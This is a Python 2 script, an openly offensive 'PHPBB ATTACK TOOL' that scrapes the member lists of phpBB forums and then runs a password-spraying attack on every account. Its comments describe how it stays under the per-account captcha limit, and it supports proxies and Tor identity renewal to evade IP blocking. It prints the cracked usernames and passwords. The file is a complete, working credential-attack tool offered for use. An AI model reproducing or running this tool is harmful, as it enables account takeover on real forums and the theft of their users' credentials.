1. #!/usr/bin/python
  2. import requests
  3. import sys
  4. import BeautifulSoup
  5. import codecs
  6. import urllib
  7. import socket
  8. import time
  9. import re
  10. # LOTFREE TEAM - 2012 RELEASE #
  11. # PHPBB ATTACK TOOL V 1.0 #
  12. # This tool allow you to perform some brute force attacks on accounts
  13. # registered on PHPBB based forums.
  14. # Two commands are available : dump and brute.
  15. # dump requires a valid login/password pair to fetch the list of registered
  16. # users on the forum.
  17. # brute requires a userlist file (previously obtained with dump) and a file
  18. # containing passwords.
  19. # Output encoding for this tool is UTF-8. You can safely redirect output to a file.
  20. #
  21. # PHPBB protect itself from bruteforce attacks on an attempts-per-account basis.
  22. # You will probably be asked for a captcha after 3 failed login attempt for
  23. # the same account.
  24. # There is no IP-based protection so you can try 3 passwords for all the registered
  25. # members using the same IP without being blocked :)
  26. # That's why your password list should be small and contain very commons password
  27. # (forum name, '123456' and 'password' are good candidates) and this tool is more
  28. # effective on big boards (more than 5K users).
  29. #
  30. # You will need the requests and BeautifulSoup python modules to get this script to work
  31. #
  32. # Happy cracking
  33. # You can define some proxy to use here
  34. # for example your polipo proxy ;-)
  35. PROXY = {'http' : '127.0.0.1:8123'}
  36. # If you are forwarding requests to Tor you can force to use a new exit node
  37. # after each X login attempts.
  38. # 0 means no IP change (don't use Tor or don't change the exit node)
  39. MAX_ATTEMPTS_BY_IP = 0
  40. # Don't change this
  41. LOGIN_PAGE = "login.php"
  42. def usage(progname):
  43. print "Usage: %s command <options ...>" % (progname)
  44. print " * Command must be 'dump' or 'brute'"
  45. print " * Options for dump : <forum_url> <login> <password> (need a valid user)"
  46. print " * Options for brute : <forum_url> <user_list_file> <password_list_file>"
  47. print " <forum_url> = path of the PHPBB root (ex: http://forum.com/phpBB/)"
  48. print
  49. def login(session, forum_url, username, password):
  50. success = False
  51. # test PhpBB2
  52. r = session.get(forum_url + LOGIN_PAGE)
  53. if r.status_code != 200:
  54. sys.stderr.write("Got a " + str(r.status_code) + " eror code :(\n")
  55. return False
  56. t = r.text
  57. form_fields = []
  58. if not "<form" in t:
  59. sys.stderr.write("No login form found in the webpage. You should take a look at this\n")
  60. print t
  61. sys.exit(1)
  62. soup = BeautifulSoup.BeautifulSoup(t[t.find("<form") : t.find("</form>")])
  63. for field in soup.findAll("input"):
  64. if field.has_key("name") and field.has_key("type"):
  65. if field["type"] in ["text", "password", "hidden", "submit"]:
  66. if field["name"] == "username":
  67. form_fields.append("username=" + urllib.quote_plus(username.encode(r.encoding)))
  68. elif field["name"] == "password":
  69. form_fields.append("password=" + urllib.quote_plus(password.encode(r.encoding)))
  70. else:
  71. if field.has_key("value"):
  72. form_fields.append(field["name"] + "=" + urllib.quote_plus(field["value"].encode(r.encoding)))
  73. login_url = soup.form["action"]
  74. if login_url.startswith("./"):
  75. login_url = forum_url + login_url[2:]
  76. else:
  77. login_url = forum_url + login_url
  78. r = session.post(login_url,
  79. data = "&".join(form_fields),
  80. headers = {'referer' : forum_url + LOGIN_PAGE, "content-type": "application/x-www-form-urlencoded"} )
  81. if "CAPTCHA" in r.text:
  82. sys.stderr.write(username.encode("UTF-8") + " : A captcha is required to login.\n")
  83. return False
  84. soup = BeautifulSoup.BeautifulSoup(r.text)
  85. for l in soup.findAll('a'):
  86. if l.has_key("href") and "logout" in l["href"]:
  87. success = True
  88. break
  89. if not success:
  90. if "successfully logged in" in r.text:
  91. success = True
  92. return success
  93. def renewTorIdentity():
  94. try:
  95. s = socket.socket()
  96. s.connect(('localhost', 9051))
  97. s.send('AUTHENTICATE\r\n')
  98. resp = s.recv(1024)
  99. if resp.startswith('250'):
  100. s.send("signal NEWNYM\r\n")
  101. resp = s.recv(1024)
  102. if resp.startswith('250'):
  103. # Identity renewed :)
  104. time.sleep(2)
  105. else:
  106. print "response 2:", resp
  107. else:
  108. print "response 1:", resp
  109. except Exception as e:
  110. print "Can't renew identity: ", e
  111. sys.stderr.write("/----------------------------------\\\n")
  112. sys.stderr.write("| LOTFREE 2012 |\n")
  113. sys.stderr.write("| PHPBB ATTACK TOOL v1.0 |\n")
  114. sys.stderr.write("\\----------------------------------/\n")
  115. if len(sys.argv) < 4:
  116. usage(sys.argv[0])
  117. sys.exit(1)
  118. COMMAND = sys.argv[1]
  119. BASE_URL = sys.argv[2]
  120. USERNAME = sys.argv[3]
  121. PASSWORD = sys.argv[4]
  122. if COMMAND not in ['dump', 'brute']:
  123. usage(sys.argv[0])
  124. sys.exit(1)
  125. requests.defaults.defaults['base_headers']['User-Agent'] = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)'
  126. requests.defaults.defaults["base_headers"]["Accept-Encoding"] = "text/plain"
  127. s = requests.session(proxies = PROXY)
  128. # Is this a phpBB2 forum ?
  129. r = s.get(BASE_URL + LOGIN_PAGE)
  130. if r.status_code == 404:
  131. # go for phpBB3
  132. LOGIN_PAGE = "ucp.php?mode=login"
  133. if COMMAND == "dump" :
  134. if login(s, BASE_URL, USERNAME, PASSWORD):
  135. sys.stderr.write("Login successfull, now dumping the usernames...\n")
  136. r = s.get(BASE_URL + "memberlist.php")
  137. soup = BeautifulSoup.BeautifulSoup(r.text)
  138. mpp = 0 # members per page
  139. for l in soup.findAll('a'):
  140. if l.has_key("href") and "start=" in l["href"]:
  141. mpp = int(l["href"].split("start=")[1])
  142. break
  143. idx = 0
  144. while True:
  145. # count the number of profiles linked in the current page
  146. count = 0
  147. for l in soup.findAll('a'):
  148. if l.has_key("href") and "viewprofile" in l["href"]:
  149. # Force output to UTF-8
  150. print l.text.encode("UTF-8")
  151. count = count + 1
  152. # There is less profiles in the current page than expected, this must be the last one
  153. if count < mpp:
  154. break
  155. sys.stdout.flush()
  156. idx = idx + mpp
  157. r = s.get(BASE_URL + "memberlist.php?start=" + str(idx))
  158. soup = BeautifulSoup.BeautifulSoup(r.text)
  159. loggedin = False
  160. for l in soup.findAll('a'):
  161. if l.has_key("href") and "logout" in l["href"]:
  162. loggedin = True
  163. break
  164. if not loggedin:
  165. # Disconnected... we have to login again
  166. sys.stderr.write("Disconnected from the forum... reconnecting\n")
  167. loggedin = login(s, BASE_URL, USERNAME, PASSWORD)
  168. if not loggedin:
  169. sys.stderr.write("ERROR: Can't login anymore... maybe try later\n")
  170. break
  171. # Reconnected... don't forget to refetch the page
  172. r = s.get(BASE_URL + "memberlist.php?start=" + str(idx))
  173. soup = BeautifulSoup.BeautifulSoup(r.text)
  174. sys.stderr.write("Dumping done\n")
  175. else:
  176. sys.stderr.write("Can't login :(\n")
  177. else:
  178. count = 0
  179. fdu = codecs.open(USERNAME, "r", "UTF-8")
  180. fdp = codecs.open(PASSWORD, "r", "UTF-8")
  181. if not fdu or not fdp:
  182. sys.stderr.write("Error opening one of the input files\n")
  183. sys.exit(1)
  184. hacked_accounts = {}
  185. while True:
  186. pwd = fdp.readline()
  187. if not pwd:
  188. break
  189. pwd = pwd.strip()
  190. if not len(pwd):
  191. continue
  192. sys.stderr.write("Trying password " + pwd.encode("UTF-8") + " on users\n")
  193. while True:
  194. uname = fdu.readline()
  195. if not uname:
  196. fdu.seek(0)
  197. break
  198. uname = uname.strip()
  199. if not len(uname):
  200. continue
  201. if uname in hacked_accounts.keys():
  202. continue
  203. s.close()
  204. s = requests.session(proxies = PROXY)
  205. if login(s, BASE_URL, uname, pwd):
  206. print "\tPASSWORD for username", uname.encode("UTF-8"), "is", pwd.encode("UTF-8")
  207. hacked_accounts[uname] = pwd
  208. sys.stdout.flush()
  209. count = count + 1
  210. if MAX_ATTEMPTS_BY_IP and count == MAX_ATTEMPTS_BY_IP:
  211. count = 0
  212. renewTorIdentity()
  213. fdu.close()
  214. fdp.close()
  215. if(len(hacked_accounts.keys())):
  216. for k, v in hacked_accounts.items():
  217. print "\tPASSWORD for username", k.encode("UTF-8"), "is", v.encode("UTF-8")
  218. else:
  219. print "No hacked accounts :("
  220. s.close()

LOTF-PHPBB-ATTACK-TOOL